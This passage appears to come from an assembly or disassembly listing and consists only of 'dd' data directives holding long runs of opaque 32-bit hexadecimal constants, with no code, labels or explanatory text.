		dd 8453A94Bh, 0A2F3D2BEh, 21DC3513h, 0E50EF043h, 2B41EC64h
		dd 83B3DAC1h, 16EDD828h, 77B00474h, 0EF874F25h,	8B748B62h
		dd 5025388Ah, 4B7799EAh, 84E504h, 0B88D0F41h, 0EB19C5AAh
		dd 1EAF660h, 3074B95Dh,	803A71DBh, 2FF181A5h, 6F62161Dh
		dd 2B7200BDh, 0CB312DD7h, 0B90649E9h, 0C107B713h, 6FC09481h
		dd 88126EB3h, 4C6CB3F3h, 47932D91h, 8502414h, 3D261D42h
		dd 56AEE312h, 92F0079h,	0F1017354h, 270888D0h, 0D886B05Eh
		dd 14AA9114h, 68002C01h, 0D9EF4E7h, 4E25E95Dh, 16606761h
		dd 0A03E175Ch, 1B1642F2h, 472479C7h, 0CF680802h, 8A74593Ah
		dd 30E37715h, 70049426h, 0E422161h, 0F1FFE01Dh,	0DFC28BF0h
		dd 39A6577Bh, 2C88B302h, 56FBA24Fh, 84070B05h, 0BCD3B9ECh
		dd 3D692A0Ah, 0F5E13BCh, 86462CEEh, 521731B6h, 0A26C60B0h
		dd 0AEBA0824h, 5C2A410Bh, 0A002690Ch, 0D5D11F7Ah, 5836CBCFh
		dd 0DA872465h, 0E091AF1h, 1D8C905Fh, 0D4CC94D9h, 0E7716E90h
		dd 7D4981B4h, 0F8299F8Dh, 10314DE1h, 4A9F9E7Fh,	1F1FBB58h
		dd 5316F62Dh, 0B97FA057h, 250FDA16h, 8F63FC04h,	568722BAh
		dd 27C8CD55h, 70FC802h,	3017C6FFh, 0EF878761h, 0E5327198h
		dd 200C1607h, 0E457BC5h, 0CD016905h, 813BE56h, 597918FFh
		dd 3131E957h, 5B54E0FDh, 0E80A4230h, 4C2E5890h,	0A57D2D02h
		dd 7FE04D7Bh, 459D0128h, 5D1204C1h, 0C766C075h,	0CD582298h
		dd 239610BBh, 0A97B95Fh, 9CB1DB8Bh, 3B782B40h, 0C8893701h
		dd 0F71DE8B6h, 0C3035224h, 0E979DA82h, 0BC2BDDE6h, 8901D396h
		dd 5A381992h, 3B27C92Fh, 66B8A690h, 81D05B21h, 0C070099Ch
		dd 0D349F739h, 0F38E9DB8h, 80790A0Dh, 0A8174B3Eh, 0C10ABFA8h
		dd 1A002E5h, 53E586Fh, 0B42E7089h, 6E723D5Ah, 1DC5C50h
		dd 6CC53558h, 99FD705Eh, 6DA8B85Bh, 0E34297DEh,	0C22D4EB2h
		dd 52F74230h, 621690ACh, 0FCE012Fh, 82D8738Eh, 40C9E119h
		dd 1D126025h, 0EA90D343h, 4BE54F2Ch, 1CFCB334h,	0B21A0C7h
		dd 0E2701FE9h, 72E14976h, 0EDD39D4h, 4DF331EEh,	2CFD08DEh
		dd 7EC2DA48h, 1A2828D9h, 5C7F0AADh, 1D93670h, 4307EBC1h
		dd 0E68F2E9h, 9A12C580h, 0C7AF820Fh, 0CCD9246h,	71187AF4h
		dd 0C4D673A7h, 0AED4A90Bh, 905541C8h, 5B6F1857h, 0A3C6A288h
		dd 683F389Dh, 0E6655DDBh, 0C05651C7h, 765306ADh, 0D155A497h
		dd 0C0BA94BFh, 15D16FEh, 4BD3292Ch, 0A9310C12h,	6EE883BEh
		dd 0CDE91762h, 0E5673412h, 3F39F08Eh, 0CA686EE1h, 8F8D33E9h
		dd 6FBAE255h, 0B68B5F4Ah, 5F4561C7h, 0BCA2AE4h,	7E2533E3h
		dd 1646F480h, 17C4973h,	1D55948h, 41A56F9h, 34FDE581h
		dd 2AC05FF6h, 0A80CF4AEh, 48EA09F8h, 60431AC2h,	657D2288h
		dd 1E75AD68h, 8804F493h, 5A80D3D7h, 0EBF84E30h,	8149D75Fh
		dd 0FADF2BE7h, 8061F509h, 0D25F1493h, 465D0868h, 2162B7B6h
		dd 0F2D93E33h, 46169290h, 7B0E3EB8h, 0F6C0759Fh, 28EF3FBCh
		dd 6F13E91Bh, 7785B25Dh, 965D430Bh, 5B3DFE11h, 0F0A72938h
		dd 299E42EDh, 0AEC08A97h, 2D8582BAh, 0C4428CBFh, 20894280h
		dd 87B53C94h, 0E931D17Fh, 0D86FEBBDh, 41448E10h, 0AF9BD60Bh
		dd 0FEF47841h, 60CAEE4Dh, 2643F928h, 9A6320h, 3E843019h
		dd 422D32E9h, 1CED6601h, 2707BF68h, 0C06396FFh,	55AB9E6h
		dd 0BD040396h, 0FC69FAAAh, 29B804FFh, 8DB2EAE8h, 2A018CD6h
		dd 0EC954B40h, 1981586Bh, 50529E81h, 5BC823Bh, 0C1F4AC2Ch
		dd 0A93CAF81h, 8573B94Eh, 0F5ACD237h, 0BF45F8CFh, 856EA201h
		dd 769131A3h, 0A66E50D3h, 97B07ADh, 0D885548Ah,	0B8C28484h
		dd 3DC3DAD7h, 7B137CE1h, 0CAD50449h, 0BA6605D3h, 0D61AEF94h
		dd 0F909FD76h, 31C39EDCh, 37DCF1D1h, 58762CA7h,	6F50BF81h
		dd 0ACF83694h, 0BC32B51Dh, 0C485C5C3h, 0F48DFA6Fh, 0EFA5FF28h
		dd 40EF9D98h, 93020512h, 122335Fh, 0DEC2FDE8h, 0FC540EA9h
		dd 3F7B053h, 5453277Dh,	0FDADB665h, 0BB9A23B0h,	0AAF239C0h
		dd 3EC3147Dh, 4DFED729h, 0CF1EB213h, 84EB1306h,	0C84FB83h
		dd 29C5B5F8h, 0D1F3BBD0h, 0A8DA873Fh, 0D1E0B1B0h, 8D407A73h
		dd 0CD7B5BE5h, 82CEE5ACh, 4569BF25h, 7000D5A8h,	432E6816h
		dd 748A4B0h, 0DD7D0925h, 0FB62450h, 954C3EFDh, 68B6407Fh
		dd 0F1553025h, 80D28183h, 0E40F2BEEh, 0BAA84516h, 35416DE9h
		dd 231CE0C2h, 0AB64B7E1h, 0EF685908h, 23C901Ah,	87E950E7h
		dd 82A6F61Bh, 20187ACAh, 51425760h, 0A603EFEh, 7792C11Fh
		dd 7861627Fh, 4907B556h, 7378F1D0h, 880617EDh, 2431F9E4h
		dd 0A022B5Ch, 9159A468h, 0FFD6DF3Ch, 7A7D3032h,	26350F59h
		dd 0BE729BCEh, 2876B60Bh, 0E30B9AB2h, 0E5558006h, 0FECC356Ch
		dd 9E276214h, 0C2E15B58h, 7A8663A5h, 9A4F30F2h,	431A6A91h
		dd 0F32784C3h, 0DD867C6Eh, 0C8538F09h, 74627F3Eh, 11AA080Eh
		dd 0B7EDA2A4h, 0C6E2FC7Ch, 64A75619h, 0BA069237h, 0DD60BD74h
		dd 0B72F4639h, 5402D3D9h, 0D761F15Fh, 797F5EC3h, 4C47B31Eh
		dd 0A3FAC5F4h, 0C838D28h, 0B7F10720h, 0C62B99Ah, 7F72D056h
		dd 0E909A7E5h, 0E15C86h, 0D93A53BEh, 0D630F715h, 3630B046h
		dd 47440DDh, 1690D7F8h,	822BFC20h, 0BDFE66F1h, 0B87CED60h
		dd 0BF96ADB5h, 2A4AE9h,	53D9BB0Dh, 46C54D93h, 648C23CBh
		dd 0A3211F0Eh, 0E4DB0926h, 0C60F3DEh, 0FA1BD41Ch, 6EF7414Eh
		dd 65E1CAD0h, 903755BEh, 0C2C2F72Bh, 0CC1B5268h, 0E9208011h
		dd 9E809FC7h, 4B2B5668h, 94B0715Eh, 2E120378h, 258BE933h
		dd 99C35726h, 0BE07482Ah, 5563730h, 7A6BB3A2h, 3D79720Ah
		dd 4DAC1E76h, 0F47810Ch, 2C2A7384h, 6EB04E10h, 0F9BE0AEFh
		dd 5BD49AD1h, 0C1DDFE9Ah, 0D83B01B9h, 7097A376h, 6914BFFAh
		dd 4F9C5964h, 0BBE0CDBCh, 4071A592h, 6D746812h,	4B3D96CCh
		dd 93F79C99h, 1CFB6816h, 0CB57B433h, 12E8A9D9h,	40569E20h
		dd 43585B39h, 763E0C2h,	0E92C13BEh, 5E4462C0h, 55516DD6h
		dd 5D8F34h, 0BE6CD84Dh,	2D07105Eh, 7A1D6EB8h, 82278E72h
		dd 4E064FBh, 0BABFCC5Dh, 9FAFE697h, 2C7CC9C8h, 0F07A8E70h
		dd 6C975AE8h, 4C0EEBBh,	0B35303E5h, 0D4E38299h,	0F890C6DDh
		dd 0BDC79D1Eh, 10F9188Ch, 5F547750h, 0B8D8C0D6h, 832C624Dh
		dd 0BE02CE6Eh, 0DD4A3769h, 258E0B0Fh, 0B0E91E8Ah, 83105DD6h
		dd 850F4D06h, 1E19132Dh, 45E72C6h, 0D16FE9C4h, 608A54E7h
		dd 890AC3B0h, 0B88240B0h, 322B170h, 0E9494B99h,	3B044C62h
		dd 0C3A685Bh, 130AAB98h, 0A7A1D14h, 1060E42h, 9A1EA6C3h
		dd 50503F48h, 4AD14808h, 4C6779BBh, 852D4B5h, 1E8E0537h
		dd 34FE1402h, 897981ADh, 4A8B3BCFh, 41EF8719h, 7F05DCE7h
		dd 0D505B792h, 31693C54h, 9F7B90AAh, 657934E2h,	250A7895h
		dd 7951A69Dh, 3B7E618Bh, 7B62D277h, 9BAE0914h, 25FB3477h
		dd 0FCE0BBE9h, 0D97005ADh, 683B3906h, 20AF0FA1h, 35004F0Ch
		dd 0A27457A9h, 358C589h
		dd 7847CD81h, 0C077D09h, 74AA261Bh, 7CFFEDC3h, 61F50403h
		dd 85317D18h, 4248B023h, 8B0BEAF8h, 827AC02Dh, 565E5A4Ah
		dd 5497C2D2h, 72D7000Bh, 3892FF7h, 68525FFDh, 71CA11A0h
		dd 0BA3D6141h, 9E758927h, 0AD18753Bh, 0F5B4A831h, 2FD2524Bh
		dd 0EF39E515h, 0F8D04583h, 0A77AA9B6h, 0BD0B96FAh, 7A2E5ADBh
		dd 2919284Ah, 63D50B82h, 0FA681226h, 2B01B7CEh,	800F368Bh
		dd 4F2B04A0h, 3D1C45CAh, 48DABC4Bh, 79305D3h, 0D980328Ah
		dd 7547349Dh, 5AA95D12h, 0CF09663Eh, 0C18459A8h, 0E974D13Ah
		dd 5C407B10h, 4BB7E6EFh, 4E3AF7D8h, 1C1B86Bh, 30316714h
		dd 2E940AF9h, 563DC780h, 0BF896DF1h, 8C22E66Ah,	2FEAF7E9h
		dd 840CCDDFh, 0A49AE5E9h, 180CBADFh, 0DC413D6Ch, 374B13E7h
		dd 0A8AEB51Ch, 9187308h, 0F9D0C3A5h, 0EBB874E9h, 6F67992Ah
		dd 0F7C0F3A3h, 464968F9h, 0FDDE32BDh, 71ED36B0h, 0F760E03h
		dd 92E9F501h, 8D655DB2h, 0C800DA20h, 81383511h,	584EDAC5h
		dd 860D6D9Ch, 0D44D53CDh, 4926172Bh, 403EFB7Ch,	0FA881C52h
		dd 56D5DD51h, 415405ECh, 0CB8CC8D7h, 28296D14h,	2FAA0989h
		dd 0C18B5F30h, 0C7C076FEh, 50F6416Ah, 13FD8A75h, 8CDA747h
		dd 68022617h, 0C06301B0h, 0AE5EFE07h, 7009F861h, 0BBCBDC4h
		dd 8408E912h, 0B0A13BECh, 0D1D5C21Ch, 0CBD7E37Ah, 0A4B2EF07h
		dd 80D2E2C0h, 0CA5540EAh, 64B64DE9h, 96A4A24h, 0C2722999h
		dd 285E710Bh, 0EF815F27h, 243855E9h, 0E3E0595Eh, 8762C9F2h
		dd 0E60E6FC3h, 2EBA0309h, 425A6445h, 0C1084C8Eh, 0A46E400Ah
		dd 37FC0924h, 0DB63E189h, 597F3CA2h, 22E9E1CAh,	4DCC48E7h
		dd 21EC3600h, 13C9B5B9h, 3BE91ADEh, 66DD208Dh, 0CB5A2F8Bh
		dd 9109DE7Bh, 2D393321h, 0F07E5D1Bh, 131173Dh, 51057FF2h
		dd 0E3182E68h, 0FCADD63Fh, 5781AD95h, 0C2C780E9h, 0AF14005Ah
		dd 0C26B013Ah, 7E3D8F68h, 75A66219h, 0BFCAE5DDh, 0F2A85AC2h
		dd 0F511F8A5h, 5E085B00h, 972976AAh, 19C36BACh,	2E72361Fh
		dd 7388DB26h, 418E2855h, 0A63031CAh, 0CE02A60Bh, 40338A18h
		dd 0C7FE0C03h, 52E5F219h, 42F767F5h, 576DE22Ch,	25AE7C67h
		dd 5F3CBEE0h, 0F75228A0h, 333125E1h, 3BE63B40h,	0CC356089h
		dd 0F840B959h, 252E195Ch, 0D7FB017Bh, 41C32E3Ch, 0E93E395Ah
		dd 7422B7E5h, 30376305h, 0DA7EC013h, 3B5C704Fh,	5C490578h
		dd 0DF0974EEh, 6A59F4ABh, 161FA473h, 965C5D8Ah,	2D33EF54h
		dd 0B6BF95E8h, 0BCD270Eh, 0E4095772h, 4D2A1721h, 0F0182069h
		dd 8BE00370h, 2CBF1C5Bh, 565F1FF0h, 7EECDB61h, 5D65C918h
		dd 56D2256Dh, 1AD17F54h, 5D656880h, 0B5581C91h,	0C28BCFE5h
		dd 8C0A7E05h, 0A74FF909h, 8034CF58h, 6DD90154h,	0ECEE1480h
		dd 0E44C4F51h, 0D9CC8C4Bh, 41012E20h, 6BA90004h, 0E61E87F4h
		dd 0DD6D5F56h, 0A12EB4ACh, 20BA3EC0h, 4BFC608Eh, 3ABBA131h
		dd 5BBEA1C0h, 52B52D59h, 6C3382D7h, 0D2CAAE73h,	346032EBh
		dd 0FC2D3A5Ch, 9213DB53h, 0A0398B8h, 15C32926h,	0A74A1B0Ah
		dd 37180F85h, 6E06828Eh, 0D8855C59h, 8BC5095Fh,	0E5FC4302h
		dd 0B7D0D70Dh, 60BF5B4Ah, 23634D16h, 0C2553424h, 2A7EA582h
		dd 885F560Bh, 942066B3h, 9E092809h, 76490010h, 2E4BC764h
		dd 5A7EF301h, 20A5967Dh, 4B7B1B5h, 0E4EA1CE7h, 585FB35Dh
		dd 48C46787h, 0BD021EF8h, 310565ECh, 0CE24A77Eh, 68A95202h
		dd 0E9F2E8D9h, 5DFD643Fh, 6C47BBB8h, 0A3E4B7CFh, 568481FFh
		dd 0FEF71082h, 44740955h, 82A038E9h, 0B9724FBFh, 0EF317514h
		dd 105B26DEh, 0B9B252E7h, 86870516h, 0C0B406A3h, 4F5C883Bh
		dd 0B004017Dh, 0FC31B436h, 14BC13E9h, 4B5DB901h, 0B03A2B28h
		dd 61D2A29Dh, 3F9441BAh, 0F812A136h, 0EA625D82h, 0D91A45CDh
		dd 13ABA08Fh, 60468D68h, 6C0632CAh, 45E04D5Ah, 611205E6h
		dd 405CE972h, 78F4BDD8h, 897B71F6h, 0F0F1A0A0h,	38A213D6h
		dd 7B3A503Fh, 1428CCD5h, 763BEF02h, 7F6EA3h, 2FC57F62h
		dd 0EC3645E9h, 77B0F7C9h, 0F6305D7Bh, 61ED1790h, 5FFD3B65h
		dd 0F02F505h, 1A3281ADh, 0DDF797F7h, 47F27901h,	0A2403486h
		dd 2FF46418h, 99640125h, 12408AA3h, 7B1381D0h, 0DA17DAAh
		dd 7674B92Bh, 83B5F5A1h, 52471226h, 0DAA788BAh,	0D7292F17h
		dd 0D6AD915Ch, 0EE467145h, 5293E073h, 9A527CBFh, 0B339E85Fh
		dd 68284A3Bh, 5C708817h, 2AEC9213h, 14F06B6h, 0C6352BB9h
		dd 0F941AFD0h, 0F443E9C7h, 0FD89A50h, 0D1745D8Eh, 90CC2D0Fh
		dd 5F6FF876h, 33511F02h, 0AC66DF34h, 420CAB0h, 32F60501h
		dd 0BEB435B6h, 624C69B2h, 82440D27h, 6F2737BAh,	1F8F9038h
		dd 0B6B880E0h, 7073412Fh, 9C05405Fh, 0E11CDD6Eh, 6CDA083h
		dd 91EA807Bh, 35E6D1F7h, 847DB00Eh, 0AD9CA12Eh,	0B33CBEF0h
		dd 6470DB0h, 7CE93508h,	12092407h, 2C1C0B28h, 7CC16F32h
		dd 4B34CE19h, 0E9232859h, 0F4E4D327h, 0C39262B6h, 1AB79048h
		dd 1C7A363Dh, 0D3252947h, 516805D8h, 54554B72h,	0E091870h
		dd 1FEC7Eh, 0D26319A8h,	6E49620Ah, 0EED84101h, 3E1D1301h
		dd 2F8CE915h, 53378E66h, 0B12AC548h, 0F4C43D24h, 813064BFh
		dd 49882Eh, 160FDFF7h, 27220285h, 8244EF82h, 0E96EE030h
		dd 5D2D7266h, 5A0BF066h, 21DD01D2h, 0E816D357h,	9FAAE20Ah
		dd 5F309164h, 29EF5393h, 2D8E2653h, 952109Ah, 0F854CABDh
		dd 0E2024D95h, 0C68F0F07h, 96DB0909h, 0FBD2E906h, 5F492D22h
		dd 0BA0186D0h, 988485ABh, 0CB2ACA29h, 9AE2020Bh, 40267B12h
		dd 0BC01AE7Dh, 0CD0384B6h, 0E684FE63h, 41152DBAh, 2F3B93C1h
		dd 5D099B35h, 0E2D9AEFAh, 6076DD32h, 4C43B850h,	850C539Ah
		dd 0C5652A3Ah, 9898EE75h, 39E161F9h, 5FDA007Eh,	957047BEh
		dd 0F2466E29h, 0C6811D68h, 1216E205h, 8B58A02Fh, 77F9C55Eh
		dd 7BD55E0h, 4B7CC098h,	0DCB7E57Dh, 17728268h, 605FF342h
		dd 16D2F74Bh, 0AB45F668h, 66412161h, 0DD82253Eh, 2F45232Eh
		dd 0C9E66359h, 8D58768Bh, 702901C6h, 31E9450Dh,	59F29E7h
		dd 7FAD67FCh, 4F85B980h, 187E61D1h, 307B6445h, 0B2413A4Fh
		dd 40D6B130h, 0C90F0DACh, 652A0A05h, 0DB42EA83h, 4453CB89h
		dd 8346E02Dh, 87C4D8A9h, 7685C70h, 64C97C19h, 0B1B992h
		dd 0F245C6F5h, 0D5F735h, 10CDB850h, 300569EAh, 4DBC2E05h
		dd 0D5A9C501h, 0B5736812h, 4E1D19Eh, 0AEF102C0h, 5EC0136Fh
		dd 0E09D0450h, 0E6C10702h, 0EC6D055Bh, 18FEC8BFh, 1D66E540h
		dd 2F2FDA68h, 3934A8E4h, 0F4BFD81Dh, 0CBD273A9h, 0E82849E9h
		dd 8A097CB6h, 0D90B2F5Ch, 92B2716Ch, 0A1E508B2h, 0E9EE3B2Dh
		dd 3569916Fh, 295C0DD8h, 14363DA1h, 5C2F48CBh, 9D5C8974h
		dd 0CB00BCDBh, 0B91A3338h, 0EB7C009Ch, 6E1811Eh, 7458C148h
		dd 21A72F38h, 0B1205DAh, 767875C2h, 695D3109h, 61739261h
		dd 0BB000C1Eh, 432747D0h, 97757856h, 0F701D4DCh, 1D9593Fh
		dd 89285A97h, 41C7CD47h, 4F648CBh, 0E1C101EFh, 0F03FCFC1h
		dd 6CB57420h, 0B2C7F4C1h, 0AA41B778h, 42042EB4h, 38AA1C33h
		dd 54E72EBh, 9C411CCh, 210951E5h, 0A8660F5h, 139325ECh
		dd 1284770h, 0C74AF6FBh, 0DB251DD1h, 787D4439h,	27EC980Fh
		dd 0EE56E1A7h, 392CA660h, 0C711C05Eh, 0DEBFFEF3h, 0BF765097h
		dd 21CB92D1h, 206D1BF0h, 78365489h, 0CCDE482Dh,	30EDF187h
		dd 85410302h, 483EC282h, 7C5CADD7h, 40C48227h, 621D769Ah
		dd 235DC55Fh, 0A11EAB7Bh
		dd 772E2903h, 0E946340Dh, 0E17884B2h, 0B3C5FE07h, 0EB8269EDh
		dd 8144A386h, 2032EF1Ah, 26E4612Ah, 0EE31787h, 0BF80D910h
		dd 0C07C1C3h, 9550259h,	774FD55Eh, 2608FAA8h, 7BD880B2h
		dd 0D9F77195h, 98EC43B7h, 0EC8107E1h, 675007Fh,	0BB53410Eh
		dd 0E03E0D9Ah, 43852F61h, 0DFAAAA45h, 541FB479h, 0F51BB289h
		dd 4090CC9Ch, 1C49DF20h, 2D771BE9h, 0F10319FFh,	0E6FE442Ah
		dd 7EBB002Fh, 0F44B9F29h, 0A3DC4A81h, 416A7A04h, 0E42C2439h
		dd 5804A710h, 8750CB88h, 0CD57D94Eh, 715C1341h,	7DA37D06h
		dd 1FBB011Eh, 8D0F1AC9h, 0FE48DFF1h, 0AD9F12BCh, 994C09E6h
		dd 0EF218520h, 0E73DC15Dh, 0C7DF9308h, 2E7D20AFh, 8AE85B66h
		dd 0E4A35AECh, 0C0BA4D02h, 0F55F3F29h, 69F464C8h, 820FC8EFh
		dd 73C06273h, 5B7DB8E2h, 759FB072h, 0C82BE12Bh,	0A5748420h
		dd 42A5A1BDh, 0E820773Fh, 0B2AFA8FDh, 87819716h, 0F420B75Ah
		dd 0D197D1E3h, 0BEE8F0h, 28685355h, 210B6E4Ah, 0A027F2E9h
		dd 0E234FE46h, 0BA80BF51h, 910C1435h, 482CE1B7h, 0BA31BE0h
		dd 0C601E008h, 94CE1306h, 0A470C53Bh, 0A717AE5Dh, 564038FAh
		dd 1C13E398h, 0D0036191h, 0BDB992EEh, 7FED1CAAh, 8C0B040h
		dd 0B5515AD0h, 0F5800B4Dh, 306284Ch, 531FE4F6h,	0F700D3B7h
		dd 2C3D04B0h, 0E875E8D5h, 0F5F8E099h, 288CD7D3h, 0C7800005h
		dd 7EFC001h, 0B579B252h, 1F20EA3Eh, 0E21F76C2h,	0D796912Dh
		dd 282C308Ch, 0E9EAEF0Ah, 0D356BA30h, 7F112AF2h, 660CC741h
		dd 122633Bh, 0AC90AE73h, 0F4D15225h, 6FC981F7h,	39295B0Eh
		dd 92FB3BB7h, 40C54F4h,	97CABE7Ah, 0C8B762D0h, 83683D41h
		dd 0FE7365CFh, 0E77DA42h, 0C83C0B8h, 0FDAE24FEh, 0CF9A0985h
		dd 0BC6170D6h, 180A0109h, 0C6BF4E2Bh, 0D8321E68h, 21CCC503h
		dd 3D2DB201h, 0C71889C2h, 0BD287739h, 0B85F1208h, 0D2BFD745h
		dd 1C582D8Eh, 0BA52AD00h, 7C6F2B95h, 0D886A829h, 874227E9h
		dd 0E9624A53h, 2C7768F5h, 6758BFDBh, 20E63FE9h,	9C87B7Bh
		dd 2C98E973h, 831FB73h,	0C6F9CF88h, 843CC43Eh, 0A8C5ACCBh
		dd 0FBB825E9h, 0F3CA6BDEh, 0A303B7A2h, 6875256Ch, 30EBF42Fh
		dd 85DB95Ah, 331F589Fh,	0E31DED6Ch, 9DF494BAh, 0C9B85927h
		dd 68F000D4h, 33164F98h, 0BDD23645h, 37411B62h,	0DB06A007h
		dd 74DFBE2Ah, 5B506812h, 0DE2DFBF3h, 795785E2h,	5480EBE6h
		dd 1140778Eh, 58E5C131h, 673A5AC3h, 49F4A217h, 7F2C9A79h
		dd 3F0010A6h, 8125D15Bh, 74E80BCBh, 88FF1E2Dh, 9902B9F3h
		dd 0FC467638h, 623B3B1Ch, 0A3ACBC4Eh, 0A3B11733h, 1732AD9Bh
		dd 19A85F1Ah, 41D2FF1h,	30E2C9EBh, 586798A2h, 0C4CBB821h
		dd 38E29F94h, 0AA290824h, 8CD28E12h, 0C4095758h, 1EFA017Fh
		dd 5ACFDA3Eh, 3B4BBD8Eh, 17BADE5h, 7CEC681Fh, 0A0D96996h
		dd 0A89933D3h, 588E5595h, 2DC7201Eh, 1C51F704h,	6A1752A6h
		dd 0F7D128FEh, 3024DA58h, 0F5CA1BAFh, 0CB41581Ah, 50FC202h
		dd 0CF84483Ah, 29660350h, 0AC39FE8h, 0B32DB84Ah, 448B4B46h
		dd 13766860h, 3286C8EEh, 0B8D680BDh, 5164051Ah,	66F08749h
		dd 53DFDF0Ah, 0ECB302h,	0CEC680BAh, 7505EEC0h, 38B998FEh
		dd 0DE2C42B3h, 0A8E90D73h, 39FD40EBh, 4A7B5E05h, 0A0C69228h
		dd 25A1B438h, 0D31A75E7h, 5784CD42h, 0A5E485F0h, 229C186h
		dd 0C938E246h, 0CE8956F5h, 9C57BB14h, 191CC976h, 8D239390h
		dd 0F52E2981h, 0E92C2B26h, 0EA61BA46h, 16154B76h, 0AC4431A4h
		dd 295E000Dh, 70F6F0FDh, 76D4BD70h, 1B36C1E3h, 50BE210Bh
		dd 70E1822Dh, 8D7C9D28h, 0BB184F69h, 0A82D1613h, 0F15A857Bh
		dd 40E8AFAh, 1F9209A7h,	2625DFC0h, 6637642h, 6E2E85CEh
		dd 37021849h, 0E93401D0h, 4A5F52ECh, 2C8FB9EDh,	0B207D058h
		dd 2D20F661h, 18A7296h,	0BBBF5744h, 7E335E1Ah, 36433CE1h
		dd 6CAEF46Ah, 15A7C4Dh,	3A20BCCDh, 7A4BFC5h, 0CD68A014h
		dd 1070A15Ch, 0E90C3BF7h, 90A2039h, 0A79CCA4Ah,	300145EAh
		dd 0E748BEABh, 8C212C8Ch, 740F6626h, 0B99E80FAh, 7F0C0A4Fh
		dd 0F77F2541h, 0C583C9DEh, 18F374h, 8C4870E8h, 3ACB0573h
		dd 5430782Eh, 0B5FE904h, 5EF77390h, 3BE89747h, 96165AEFh
		dd 7C03C915h, 4F23B4E9h, 48EEE38Eh, 388F01FCh, 0D9F70796h
		dd 403B5770h, 554868D4h, 0D75C31F8h, 543D515Fh,	550DE9E1h
		dd 7DB40086h, 0B1B65251h, 271478B5h, 9D8B698Ch,	0E90EC57Ch
		dd 9D0B233h, 0DE3D68h, 0C2BE5602h, 4E21FD57h, 5809C390h
		dd 7D16F117h, 28087D25h, 5D2E56ACh, 580922DEh, 8C055130h
		dd 0C39166EAh, 0EB254573h, 0E83D44C6h, 0E0F08A14h, 0E490432Dh
		dd 1185125Dh, 685C286Dh, 9943FB2Fh, 49F8A4A9h, 2D582415h
		dd 0E2900F99h, 560B8165h, 0B4800413h, 65A3EADBh, 16079C7Eh
		dd 0AE34FA8Eh, 0A29F12FBh, 0B1023E17h, 0BC53A387h, 552FEF66h
		dd 5DD0BA74h, 0C68B5EE9h, 1420CE5Ah, 0C2C2EC3h,	0B334160Bh
		dd 31542D0Fh, 1878E5C6h, 8F0F4907h, 67C88BC3h, 0EE047D13h
		dd 1AC4E922h, 6CA249EAh, 6673A583h, 0DA2D5C12h,	8D3E1A8h
		dd 4E16A464h, 0E6CF40FAh, 1CBF5E27h, 1F4CDCFEh,	2B8781BBh
		dd 13EC68BCh, 28669D4Fh, 6F0BFEF4h, 725D67B4h, 31887773h
		dd 25E2664Ch, 0C5A781E1h, 0ED3B2EC4h, 463DC13Ah, 491B2052h
		dd 74BA1912h, 5EDE3305h, 0EEC13380h, 4DFEC103h,	70E87DF6h
		dd 0E6BDD8C9h, 0C5B520CCh, 7D20547Eh, 0FFE9FD8Dh, 0FD16C82h
		dd 8F800543h, 39D22D0Bh, 0B74CABFh, 608C5908h, 0E0E9C831h
		dd 8DA28C4Fh, 0DCA4F689h, 0F2AFB042h, 0D02DCD0Dh, 0B0311023h
		dd 10F8803Eh, 585BD432h, 2D025CB2h, 3EA01E75h, 6F2EB5E1h
		dd 0D57FEECDh, 0C8D087Fh, 55804729h, 84430DBDh,	0A4014A5Ah
		dd 3F17B310h, 20E2B38h,	5F271C15h, 525B5434h, 0F9D26DE2h
		dd 89EF929Eh, 68F12FE8h, 89DE37Eh, 405AC68h, 0BC1A25E9h
		dd 355C8038h, 5D444B5Fh, 0EC4E0D65h, 0F86BA94Fh, 0F91CB1C0h
		dd 0F0B0AF05h, 6AFB3DEAh, 0D189160Ah, 5755405Dh, 61043568h
		dd 10E902D7h, 0DE5BB7A8h, 0F646460h, 0F50300A9h, 59FA756Dh
		dd 14828E09h, 13A7DEB1h, 0C1ACE8F0h, 0B15473Dh,	0E961F07Eh
		dd 0BC0B6C4Ah, 0CB645E5Bh, 93FE0277h, 62AC5C9Ah, 5907A043h
		dd 21959FE5h, 0FE1D21FAh, 0EB810013h, 9B1CC15Ah, 3BCF08E9h
		dd 0F31298E7h, 0BEC8EA5Eh, 97B155E9h, 9F18913Ah, 0EBBD00F6h
		dd 5B43D44h, 0E2C2FA25h, 68CB9855h, 0F353B73Ch,	0D3C15909h
		dd 82DDA78Bh, 5358B0E0h, 76B919F8h, 0FDAD6A5Bh,	0D1AA6A84h
		dd 0CCEFD12Eh, 64CE7C1h, 89B42D00h, 84CDBCDh, 5E2DC569h
		dd 35FC02EEh, 6F41727Fh, 890741EDh, 0D0467A29h,	7646CD64h
		dd 0D9EF6950h, 0DDECD1C2h, 2290B14Eh, 980667C2h, 20EFB0B3h
		dd 5C4F1E5Bh, 0A24EFAA9h, 1768C3E5h, 0EE4B100Eh, 21EF4FD2h
		dd 0C28BB2C8h, 62A959DFh, 805B7BEDh, 0A036E98Bh, 5AE781FFh
		dd 3EEF0241h, 46B58A0Fh, 34AA577h, 104F0EC3h, 3D78E118h
		dd 12BB3E81h, 6A47CCDh,	5BD240EDh, 68A770E3h, 2725021Bh
		dd 0EEBAF93Eh, 0AD5BE44Ah, 0B100D218h, 35066405h, 77AF984Eh
		dd 7C58285Eh, 72330BE8h, 0A2FD5FDBh, 0C617AE80h, 4EF3BD46h
		dd 0FE251142h, 0D551E984h, 2883008h, 0F180D1F6h, 17D3C78Eh
		dd 5D5B622h, 41F06853h,	0EB00E5C4h, 0BE2793E3h,	0FCBEC1Bh
		dd 31613B06h, 2117C380h, 89320A44h, 736960D9h, 5092826h
		dd 31B30C1Ch, 7499401h
		dd 0DFBCE908h, 418EEF72h, 0B67CC85Bh, 38A8814Fh, 0EDE8310h
		dd 1673B468h, 0A346DCFAh, 5CF08997h, 0B805D058h, 136057BCh
		dd 0FA36C33Eh, 0C8DCBF4Ah, 4C47F752h, 358206B4h, 955BD8D0h
		dd 3208437Bh, 0BEE97099h, 0DF69EABDh, 3A253114h, 589C562Fh
		dd 514E5AE9h, 1FFCACCCh, 6D7F735Ch, 0F609A7F5h,	6424381h
		dd 57D1F70h, 0E97CF53Dh, 20FEE1FCh, 1B1EE7E5h, 0ECBDB14h
		dd 0F3FEA24Ch, 27145C9Eh, 466403DFh, 0B9A54ED6h, 2AC61786h
		dd 9B40E3A9h, 27450B97h, 145F597Bh, 9F58B05Bh, 57C8CA2Ch
		dd 14AC5B12h, 7042AE1h,	3F1429ABh, 0A44E78F8h, 0C3B5E5DFh
		dd 74D8929Bh, 9E5CC9B6h, 2750777Ah, 0BA4BE915h,	0A4637F9Dh
